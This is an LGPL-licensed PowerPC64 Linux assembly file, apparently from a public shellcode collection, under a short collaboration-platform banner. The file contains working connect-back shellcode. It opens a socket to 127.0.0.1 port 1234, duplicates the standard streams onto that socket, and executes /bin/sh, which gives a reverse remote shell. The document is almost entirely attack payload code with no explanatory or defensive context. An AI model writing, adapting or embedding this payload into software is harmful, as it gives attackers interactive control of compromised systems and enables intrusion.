Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
/*
2
 *  lin-power-cntsockcode64.S
3
 *  Copyright 2008 Ramon de Carvalho Valle <[email protected]>
4
 *
5
 *  This library is free software; you can redistribute it and/or
6
 *  modify it under the terms of the GNU Lesser General Public
7
 *  License as published by the Free Software Foundation; either
8
 *  version 2.1 of the License, or (at your option) any later version.
9
 *
10
 *  This library is distributed in the hope that it will be useful,
11
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
12
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
13
 *  Lesser General Public License for more details.
14
 *
15
 *  You should have received a copy of the GNU Lesser General Public
16
 *  License along with this library; if not, write to the Free Software
17
 *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
18
 *
19
 */
20

21
#include "linux-power.h"
22

23
    .globl main
24

25
main:
26

27
cntsockcode64:
28
    xor     %r31,%r31,%r31
29
    lil     %r29,__CAL
30

31
    # socket
32

33
    cal     %r28,-511+1(%r29)
34
    cal     %r27,-511+2(%r29)
35
    stdu    %r31,-8(%r1)
36
    stdu    %r28,-8(%r1)
37
    stdu    %r27,-8(%r1)
38
    mr      %r4,%r1
39
    cal     %r3,__NC_socket(%r29)
40
    cal     %r0,__NC_socketcall(%r29)
41
    .long   0x44ffff02
42
    mr      %r26,%r3
43

44
    # connect
45

46
    cal     %r25,-511+16(%r29)
47

48
    /*
49
     * The following GPRs result in zeros when used with liu instruction.
50
     * %r24, %r16, %r8, %r0
51
     *
52
     */
53

54
    liu     %r23,0x7f00
55
    oril    %r23,%r23,0x0001
56
    lil     %r22,0x04d2
57
    stu     %r23,-4(%r1)
58
    stu     %r22,-4(%r1)
59
    st      %r27,-2(%r1)
60
    mr      %r21,%r1
61
    stdu    %r25,-8(%r1)
62
    stdu    %r21,-8(%r1)
63
    stdu    %r26,-8(%r1)
64
    mr      %r4,%r1
65
    cal     %r3,__NC_connect(%r29)
66
    cal     %r0,__NC_socketcall(%r29)
67
    .long   0x44ffff02
68

69
0:
70
    # dup2
71

72
    mr      %r4,%r27
73
    mr      %r3,%r26
74
    cal     %r0,__NC_dup2(%r29)
75
    .long   0x44ffff02
76

77
    ai.     %r27,%r27,-1
78
    bge     0b
79

80
shellcode64:
81
    # lil     %r31,__CAL
82
    xor.    %r5,%r5,%r5
83
    bnel    shellcode64
84
    mflr    %r30
85
    cal     %r30,511(%r30)
86
    cal     %r3,-511+36(%r30)
87
    stb     %r5,-511+43(%r30)
88
    stdu    %r5,-8(%r1)
89
    stdu    %r3,-8(%r1)
90
    mr      %r4,%r1
91
    # cal     %r0,__NC_execve(%r31)
92
    cal     %r0,__NC_execve(%r29)
93
    .long   0x44ffff02
94
    .asciz  "/bin/sh"
95

96

97